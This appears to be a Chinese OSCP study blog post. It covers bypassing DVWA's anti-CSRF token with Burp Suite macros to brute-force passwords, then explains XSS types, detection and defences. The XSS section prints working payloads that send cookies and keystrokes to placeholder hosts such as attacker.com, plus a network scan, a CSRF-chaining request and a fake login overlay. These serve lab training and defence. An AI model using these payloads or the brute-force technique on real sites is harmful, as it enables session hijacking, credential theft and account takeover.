Home
avatar

静静

Day26 Web漏洞-XSS跨站脚本

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

上一节补充​核心知识点:Burp Suite 处理动态 Token 的流程​

下文的​ phpMyAdmin 替换为 DVWA 漏洞练习靶场为例子。

​1. 问题分析​

  • ​目标防护机制​​:
    phpMyAdmin 登录表单包含动态生成的 tokenset_session 值,每次请求都会变化,用于防止 CSRF 和暴力破解。
  • ​关键挑战​​:
    直接爆破密码会因 Token/Session 不匹配失败(返回错误 Error: Token/Session mismatch)。 调整DVWA靶场的安全设置为High然后打开 Brute Force 有个登录框,可以练习登录的漏洞。 随便输入用户名密码抓包后查看发现是有token值的,当前的响应是200,是正常的。 但是当放到重放器中再次发包后返回的结果就是302,这样的话似乎就没办法用Burp爆破密码了。因为token值每发一次就会变化一次。 如果在浏览器直接刷新也会提示token过期的。

​2. 解决方案:Burp Intruder 的宏(Macro)功能​

​核心思路​​: 通过 ​Recursive Grep(递归提取)​​ 从服务器响应中动态捕获 Token/Session 值,并自动注入到后续请求。

​​3. 配置步骤​

​Step 1: 设置攻击位置(Positions)​

  • ​清除默认标记​​:点击 Clear § 移除 Burp 自动标记的位置。
  • ​手动标记关键参数​​(4个位置需动态更新):
    1. ​Cookie 中的 phpMyAdmin 值​
      (示例:Cookie: phpMyAdmin=§动态值§
    2. ​POST 表单中的 set_session
      (示例:set_session=§动态值§
    3. ​密码字段 pma_password
      (固定用户 root,爆破密码:pma_password=§密码字典§
    4. ​Token 字段 token
      (示例:token=§动态值§) 教材中用的是phpmyadmin,这里用的DVWA一样的,在要爆破的字段上设置”节”符号§,点击 Add § 按钮即可添加。

​Step 2: 配置 Payloads(递归提取动态值)​

  • ​Payload Set 1 & 2(Session 值)​

    • ​类型​​:Recursive Grep

    • ​提取规则​​:
      从响应中抓取 set_session 的隐藏字段值:

      <input type="hidden" name="set_session" value="§提取值§" />

      ​配置定界符​​:

      • Start: name="set_session" value="
      • End: "
  • ​Payload Set 4(Token 值)​

    • ​类型​​:Recursive Grep

    • ​提取规则​​:
      从响应中抓取 Token 值:

      <input type="hidden" name="token" value="§提取值§" />

      ​配置定界符​​:

      • Start: name="token" value="
      • End: " 打开设置,找到Session设置,看到有会话处理规则和宏的界面。 选择刚刚登录抓过的包,搜索确定有token值的那个。 点击添加宏。 将字段匹配上去,名字是user_token,从 value=’ 开始,然后正则匹配后面的字符。直接在页面上选中文字拖拽可以自动匹配, 添加好后保存。 点击会话规则添加新规则。 选择运行宏。 汉化版的翻译对照。 选择只更新此参数。 设置工作的范围,只要重放和爆破两个确保打开即可,设置网络为目标的网络或者选择全都通过。 再次发包发现即可无限次发包了。

这里我没有成功,用的是别人成功的截图。

​Step 3: 配置密码爆破(Payload Set 3)​

  • ​类型​​:Simple List
  • ​内容​​:常用密码字典(如 rootpasswordadmin 等)。

​4. 核心技术:宏 Macros 如何工作​

  1. ​首次请求​​:
    • Burp 发送初始登录请求,服务器返回包含新 Token/Session 的 HTML。
  2. ​提取动态值​​:
    • 根据 Recursive Grep 规则,从响应中抓取最新 Token/Session。
  3. ​注入下一次请求​​:
    • 将提取值自动填充到后续请求的标记位置(§§)。
  4. ​循环直至成功​​:
    • 每次请求更新 Token/Session,绕过防护机制爆破密码。

​5. 成功关键点​

  • ​定界符精度​​:
    需精确匹配 HTML 中 Token/Session 的上下文(如 value="..."),避免提取错误。
  • ​Payload 顺序​​:
    Pitchfork 要求每组 Payload 数量一致(密码字典需与 Token 列表同步)。
  • ​错误处理​​:
    需验证提取逻辑是否覆盖服务器返回的所有动态值(Session + Token)。

​6. 替代方案(Burp 的 Session Handling Rules)​

若需更灵活处理 Token,可创建 ​​宏(Macro) + Session Rule​​:

  1. ​新建 Macro​​:
    • 捕获登录页 GET 请求 → 提取 Token/Session。
  2. ​创建 Session Rule​​:
    • 在爆破前自动执行 Macro,更新请求中的 Token/Session。
  3. ​应用范围​​:
    绑定到 Intruder 或整个项目,自动化处理所有相关请求。

XSS漏洞

[!info]+ XSS漏洞在OSCP中不考i,而且在大多数漏洞平台不收录XSS的漏洞,但是在渗透钓鱼中可以作为辅助手段来达到目的。所以简单了解和知道基本的利用操作是很有必要的。 比如在baidu.com中如果xss弹出一个下面这个网站的域名,从而引导“粗心的”用户输入密码等信息,就能窃取用户凭证和其他敏感信息。

核心安全概念:数据消毒(Data Sanitization)​

  1. ​定义与重要性​

    • 数据消毒是清除或转换用户输入中危险字符/字符串的过程
    • ​未消毒数据危害​​:攻击者可注入恶意代码(如XSS/SQL注入)
    • 深度防御原则:应在​​输入点​​(提交时)和​​输出点​​(显示时)双重消毒
  2. ​漏洞成因​

    // 危险示例:直接输出未消毒数据
    echo "<td>" . $row["text"] . "</td>"; 
    • 解决方案:使用htmlspecialchars()转换特殊字符
    // 安全示例
    echo "<td>" . htmlspecialchars($row["text"]) . "</td>";

​跨站脚本攻击(XSS)​

​漏洞类型​

类型特征常见场景
存储型XSS攻击载荷持久化存储在服务器(数据库/缓存)论坛评论、产品评价
反射型XSS恶意代码通过URL参数动态返回给用户搜索结果页、错误消息
基于DOM型XSS攻击发生在浏览器DOM解析层(不与服务端交互)客户端数据处理逻辑漏洞

​漏洞检测方法​

  1. ​定位入口点​

    • 寻找接受用户输入并回显的字段(如搜索框、反馈表单)
  2. ​注入测试字符​

    < > ' " { } ;  // HTML/JavaScript特殊字符
    • 检查输出:若字符未被编码(如<未转为&lt;),则存在风险 如图,输入的恶意字符原模原样的输出,说明没有过滤和转义这些字符。 完整的练习可以通过[[xss-labs 靶场 WP|xss-labs]] 靶场练习。

​XSS利用技术实战​

​基础攻击示例​

<script>alert('XSS')</script>  // 触发弹窗验证漏洞

第二关就转义了这些恶意字符,所以直接输的话是弹不了的。 还可以加上Burp抓包用字典遍历所有的XSS

​攻击流程​​:
提交恶意反馈 → 存储至数据库 → 管理员查看页面 → 触发攻击

​进阶利用:会话劫持​

  1. ​窃取Cookie原理​

    • 绕过HttpOnly标志:通过XSS直接读取document.cookie
    <script> 
      new Image().src="http://attacker-ip/?cookie=" + document.cookie;
    </script>
  2. ​劫持管理员会话​

    • 步骤:
      • 诱使管理员访问含恶意脚本页面
      • 脚本将Cookie发送至攻击者服务器
      • 攻击者使用盗取的PHPSESSID伪装管理员

​防御措施​

防御层面具体措施
​输入消毒​提交时过滤< > ' "等危险字符
​输出编码​显示时强制转义(如PHP的htmlspecialchars()
​安全标记​设置Cookie的HttpOnlySecure属性
​内容安全策略​配置CSP头限制脚本来源(如Content-Security-Policy: script-src 'self'

​技术关键点解析​

  1. ​漏洞本质​
    ​客户端攻击​​:浏览器执行恶意脚本而非服务端,但可导致服务端权限沦陷

  2. ​跨域限制绕过​
    通过注入<iframe>Image对象将数据外带至攻击者服务器

    <!-- 隐藏iframe外传数据 -->
    <iframe src="http://attacker-ip" style="display:none"></iframe>
  3. ​自动化攻击验证​
    使用PowerShell脚本模拟管理员行为:

    # admin_login.ps1
    $ie = New-Object -com InternetExplorer.Application
    $ie.Visible = $true
    $ie.Navigate("http://vuln-site/login.php")
    # 自动填写凭证并提交...

9.4.2.5 练习

  1. 利用示例应用程序中的XSS漏洞获取管理cookie并劫持会话。切记在Windows 10实验室计算机上 使用PowerShell脚本模拟管理员登录。
  2. 考虑使用此应用程序中的XSS漏洞进行攻击的其他方式。
  3. 此漏洞会攻击站点的服务器还是客户端?

​1. 利用XSS漏洞获取管理员Cookie并劫持会话的步骤​

​攻击流程如下(需在Windows 10实验环境中配合PowerShell模拟管理员登录):​

  1. ​注入恶意Payload​

    • 在存在XSS漏洞的输入点(如评论框、URL参数)注入以下脚本:

      <script>
        var img = new Image();
        img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
        img.style.display = 'none';
        document.body.appendChild(img);
      </script>

      此脚本会悄无声息地将当前用户的Cookie发送至攻击者控制的服务器(attacker.com)。

  2. ​诱导管理员触发漏洞​

    • 若为反射型XSS,构造含恶意脚本的URL,通过社工手段诱使管理员点击(例如伪装成站内通知链接)。

    • 若为存储型XSS,直接将Payload提交至数据库(如论坛发帖),等待管理员浏览页面自动触发。

  3. ​捕获Cookie并劫持会话​

    • 攻击者从服务器日志提取Cookie中的会话ID(如PHPSESSID=abc123)。

    • 使用浏览器开发者工具或插件(如EditThisCookie)将Cookie植入自身浏览器,访问后台路径(如/admin)即可伪装管理员身份。

  4. ​PowerShell模拟管理员登录(实验环境)​

    • 编写脚本自动发送含窃取Cookie的请求:

      Invoke-WebRequest -Uri "http://vulnerable-site.com/login" -Method Post -Body @{username="admin"; password="P@ssw0rd"}  
      # 后续请求携带窃取的Cookie访问后台
    • 此步骤用于验证会话劫持可行性,无需实际破解密码。

​2. XSS漏洞的其他攻击利用方式​

除会话劫持外,XSS漏洞可扩展为以下攻击:

  • ​键盘记录与数据窃取​

    注入脚本捕获用户键盘输入(如账号密码),通过Beacon API发送至攻击者服务器:

    document.addEventListener('keydown', e => navigator.sendBeacon('http://attacker.com/log', e.key));

    可窃取表单内容、LocalStorage数据(如用户令牌)。

  • ​组合CSRF攻击​

    利用XSS绕过CSRF防护,以内联脚本伪造敏感操作(如修改密码):

    fetch('/account/change_email', {method: 'POST', body: 'email=attacker@example.com'});

    无需用户交互即可接管账户。

  • ​内网探测与反向代理​

    通过恶意脚本扫描内网资源,将结果回传:

    for (let i=1; i<255; i++) fetch(`http://192.168.1.${i}`, {mode: 'no-cors'})  
      .then(() => sendToAttacker(`192.168.1.${i}_active`));

    用于定位未公开的后台或漏洞设备。

  • ​持久化水坑攻击​

    篡改页面内容(如添加伪造登录弹窗),诱骗用户输入凭证:

    <div id="fakeLogin" style="position:fixed; top:0; background:white;">  
      <input type="text" id="username" placeholder="Username">  
      <input type="password" id="password" placeholder="Password">  
    </div>

    结合事件监听窃取输入数据。

​3. XSS漏洞的攻击目标:客户端而非服务器​

​关键结论​​:XSS攻击对象是​​客户端(用户浏览器)​​,而非服务器。

  • ​原理​​:

    XSS本质是恶意脚本在用户浏览器执行,利用的是网站对用户输入的​​输出编码缺失​​或​​DOM处理不当​​。服务器仅存储或反射脚本,自身代码不被破坏。

  • ​间接影响服务器场景​​:

    若受害者是管理员,攻击者可能通过劫持其会话:

    • 上传Webshell控制服务器;

    • 窃取数据库凭据或敏感文件;

      但此过程仍以客户端为跳板,非直接攻击服务端代码。

​防御措施关键点​

  1. ​输入输出处理​

    • 输入层:白名单过滤(如仅允许字母数字)。

    • 输出层:对动态内容HTML编码(如<转义为&lt;)。

  2. ​安全Header配置​

    • Content-Security-Policy: script-src 'self'禁止外部脚本。

    • Set-Cookie: sessionId=xxx; HttpOnly; Secure阻止JS访问Cookie。

  3. ​现代框架防护​

    • React/Vue默认转义插值内容,避免dangerouslySetInnerHTML滥用。

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

漏洞分析 OSCP